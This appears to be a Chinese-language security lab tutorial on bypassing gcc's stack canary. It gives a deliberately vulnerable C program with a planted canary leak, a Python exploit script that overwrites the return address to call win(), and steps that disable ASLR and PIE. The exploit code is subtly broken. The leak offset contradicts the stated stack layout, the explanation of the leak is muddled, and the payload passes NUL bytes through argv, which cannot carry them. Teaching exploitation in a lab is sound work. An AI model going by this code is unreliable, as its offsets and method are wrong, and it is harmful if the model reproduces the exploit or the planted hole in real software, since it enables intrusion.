3. 栈保护机制

任务目标

本案例完成两项任务:第一,编译启用栈保护(-fstack-protector)的程序,演示缓冲区溢出触发__stack_chk_fail导致进程终止;第二,通过内存泄露读取canary值,构造包含正确canary的payload,绕过栈保护实现控制流劫持。全程在64位Linux环境(Ubuntu 22.04+)下完成。

环境与依赖

  • 操作系统:Ubuntu 22.04 x86_64(或其他现代Linux发行版)
  • 编译器:gcc(版本9+,支持-fstack-protector)
  • 关闭ASLR(仅用于演示绕过):sudo sysctl -w kernel.randomize_va_space=0
  • 关闭PIE(简化地址计算):编译时加-no-pie

关键完整代码

以下代码包含两个程序:victim.c为存在溢出漏洞的目标程序,exploit.py为绕过栈保护的攻击脚本。

// victim.c —— 存在栈溢出漏洞的目标程序
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void win() {
    printf("Pwned! You have bypassed the stack protector.\n");
}

void vulnerable(char *input) {
    char buf[64];
    // 模拟canary泄露:正常程序不会这样写,此处仅用于教学演示
    printf("Leak: %p\n", *(unsigned long *)(buf + 72));  // 泄露canary值
    strcpy(buf, input);  // 栈溢出点
}

int main(int argc, char **argv) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable(argv[1]);
    printf("Returned safely.\n");
    return 0;
}
# exploit.py —— 泄露canary并构造payload绕过栈保护
import subprocess
import struct
import sys

def get_canary(leak_line):
    # 从输出中解析canary值(小端序)
    addr_str = leak_line.split(': ')[1].strip()
    addr = int(addr_str, 16)
    # canary最低字节为0x00(x86_64)
    canary = addr & 0xFFFFFFFFFFFFFF00
    return canary

def build_payload(canary):
    buf_size = 64
    # 栈布局: buf[64] + canary(8) + saved_rbp(8) + return_addr(8)
    offset_to_canary = 64
    offset_to_ret = 72 + 8  # canary之后跳过saved_rbp

    payload = b'A' * offset_to_canary
    payload += struct.pack('<Q', canary)  # 正确的canary
    payload += b'B' * 8  # 覆盖saved_rbp(值无关紧要)
    payload += struct.pack('<Q', 0x4011d6)  # win()函数地址(需根据实际编译调整)

    return payload

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <victim_path>")
        sys.exit(1)

    victim = sys.argv[1]

    # 第一步:触发泄露,获取canary
    # 输入64字节填充,使strcpy在buf+72处写入0字节前的内容
    # 由于strcpy会追加'\0',泄露的是canary的低7字节(高字节为0)
    leak_input = b'A' * 64
    proc = subprocess.run([victim, leak_input.decode()], 
                         capture_output=True, text=True)
    leak_line = proc.stdout.strip().split('\n')[0]
    print(f"[*] Leak line: {leak_line}")

    canary = get_canary(leak_line)
    print(f"[*] Canary: 0x{canary:016x}")

    # 第二步:构造payload并发送
    payload = build_payload(canary)
    proc2 = subprocess.run([victim, payload.decode('latin-1')],
                          capture_output=True, text=True)
    print(f"[*] Output: {proc2.stdout}")
    print(f"[*] Return code: {proc2.returncode}")

if __name__ == '__main__':
    main()

编译与运行

# 编译目标程序(启用栈保护,关闭PIE便于地址固定)
gcc -fstack-protector -no-pie -o victim victim.c

# 查看win()函数地址(用于exploit.py中硬编码地址)
objdump -d victim | grep '<win>'

将objdump输出的win函数起始地址(如00000000004011d6)替换到exploit.py第22行的0x4011d6处。

# 运行攻击脚本
python3 exploit.py ./victim

验证方法与判定标准

验证栈保护生效:

# 输入超长字符串,不经过泄露步骤,直接触发保护
./victim $(python3 -c "print('A'*100)")
# 预期输出:检测到栈溢出,程序终止,输出类似:
#   *** stack smashing detected ***: <unknown> terminated
#   Aborted (core dumped)

验证绕过成功:运行exploit.py后,观察输出包含Pwned! You have bypassed the stack protector.,且进程返回码为0(正常退出),即判定绕过成功。

关键说明

  • canary值在每次进程启动时随机生成,因此必须先运行一次泄露步骤获取当前进程的canary,再在第二次运行时使用——本案例通过两次独立进程调用实现(第一次泄露,第二次利用),实际攻击中通常通过服务端连续交互完成。
  • canary最低字节恒为0x00(x86_64架构),泄露输出中该字节被strcpy追加的'\0'覆盖,因此需要将泄露值低8位清零恢复完整canary。
  • 关闭ASLR是必要的简化条件:若ASLR开启,win函数地址每次运行会变化,需要额外泄露代码地址。本案例聚焦canary绕过,故关闭ASLR以隔离变量。
  • 编译时-fstack-protector仅对包含char数组的函数插入canary检查,本案例中vulnerable函数满足条件。

常见问题

  • canary泄露偏移不对:检查buf大小与编译器栈布局。64位系统下,char buf[64]后紧跟8字节canary,再是8字节saved rbp,因此canary位于buf+64处。但printf泄露的是buf+72,这是因为strcpy在写入64字节后追加'\0',恰好覆盖canary最低字节,而printf读取buf+72(即canary起始位置)时,由于canary低字节为0,实际打印的是从buf+72开始的8字节中去除低字节的7字节有效值。若偏移不符,可用gdb调试确认实际栈布局。
  • win函数地址错误:每次编译地址可能变化,务必用objdump重新获取。
  • payload编码问题:payload包含不可打印字符,使用latin-1编码传递,避免UTF-8解码错误。